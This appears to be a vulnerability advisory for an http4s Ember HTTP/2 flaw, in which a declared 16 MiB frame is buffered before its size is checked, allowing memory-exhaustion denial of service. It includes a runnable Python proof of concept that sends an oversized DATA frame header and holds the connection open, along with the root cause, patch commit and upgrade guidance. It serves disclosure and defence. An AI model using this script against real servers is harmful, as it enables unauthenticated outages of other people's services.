CVE-2026-88975: http4s Ember HTTP/2 Frame Size Memory Exhaustion
An unauthenticated attacker can crash an http4s Ember server by sending a single HTTP/2 frame that claims to be 16 MiB, tricking the server into buffering that memory before it ever checks its own…

The problem
In http4s-ember-core <= 0.23.36, the HTTP/2 read loop in H2Connection.scala buffers an entire frame payload before validating it against SETTINGS_MAX_FRAME_SIZE. The length is decoded from the frame's first 3 bytes in H2Frame.RawFrame.fromByteVector, and the read loop keeps concatenating socket data into one accumulator until 9 + length bytes are present.
The size check only happens in processFrame, which cannot run until the frame is fully assembled. A peer declaring a 16 MiB frame (the protocol's 24-bit maximum) against a server advertising a 16 KiB limit gets 1024x amplification per connection. At the default maxConnections of 1024, roughly 16 GiB of heap is reachable with no authentication required.
Proof of concept
A working proof-of-concept for CVE-2026-88975 in org.http4s:http4s-ember-core_2.13, with the exact payload below.
# Send the HTTP/2 client preface, then a DATA frame (type 0x00)
# with stream ID 1 and length 0xFFFFFF (16,777,215 bytes = ~16 MiB).
# The server buffers 16 MiB waiting for the payload before checking
# SETTINGS_MAX_FRAME_SIZE. Never send the payload to hold the allocation.
#
# Frame header layout (9 bytes):
# [0..2] length = 0xFF 0xFF 0xFF (16,777,215)
# [3] type = 0x00 (DATA)
# [4] flags = 0x00
# [5..8] stream = 0x00 0x00 0x00 0x01
import socket, ssl
CLIENT_PREFACE = b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"
# Minimal SETTINGS frame (empty, stream 0)
SETTINGS = bytes([
0x00, 0x00, 0x00, # length = 0
0x04, # type = SETTINGS
0x00, # flags = none
0x00, 0x00, 0x00, 0x00 # stream = 0
])
# Oversized DATA frame header: length=0xFFFFFF, no payload sent
OVERSIZED_FRAME = bytes([
0xFF, 0xFF, 0xFF, # length = 16,777,215 (~16 MiB)
0x00, # type = DATA
0x00, # flags = none
0x00, 0x00, 0x00, 0x01 # stream = 1
])
ctx = ssl.create_default_context()
ctx.set_alpn_protocols(["h2"])
with socket.create_connection(("target.example.com", 443)) as raw:
with ctx.wrap_socket(raw, server_hostname="target.example.com") as s:
s.sendall(CLIENT_PREFACE)
s.sendall(SETTINGS)
s.sendall(OVERSIZED_FRAME)
# Hold the connection open; never send the payload bytes.
# The server accumulator now holds the 9-byte promise and
# will keep reading, pinning ~16 MiB per connection.
import time; time.sleep(60)The root cause is a check-after-buffer ordering flaw (CWE-400). H2Frame.RawFrame.fromByteVector decodes the 24-bit length field from bytes 0-2 and returns None until 9 + length bytes accumulate in the read-loop's ByteVector. The frame size limit from SETTINGS_MAX_FRAME_SIZE is only consulted in processFrame, which sits downstream and never runs on an incomplete frame.
The patch (commit 87cf334) moves the size check to before the accumulation loop, so a frame whose declared length already exceeds the negotiated maximum is rejected at the 9-byte header stage, returning a GOAWAY connection error per RFC 9113 section 4.2, without buffering any payload bytes.
The fix
Upgrade to http4s-ember-core 0.23.37 (or 1.0.0-M48 on the 1.x milestone series). The fix is in commit 87cf334fa3f608ef7d3eb359e71e037ba3336d29. If upgrading is not immediately possible, disable HTTP/2 on ember-server and ember-client (it is off by default on both), or terminate HTTP/2 at a proxy that enforces frame size limits and speak HTTP/1.1 to Ember.
Related research
- high · 7.5CVE-2026-69202CVE-2026-69202: http4s Ember HTTP/2 Unbounded Inbound Body Buffering DoS
- high · 7.5CVE-2026-69203CVE-2026-69203: http4s Ember HTTP/2 Unbounded Stream Allocation DoS
- high · 7.5CVE-2026-69208CVE-2026-69208: http4s DigestAuth Nonce Map Unbounded Growth (DoS)
- high · 7.5CVE-2026-69213CVE-2026-69213: http4s Ember HTTP/2 Unbounded Outbound Frame Queue DoS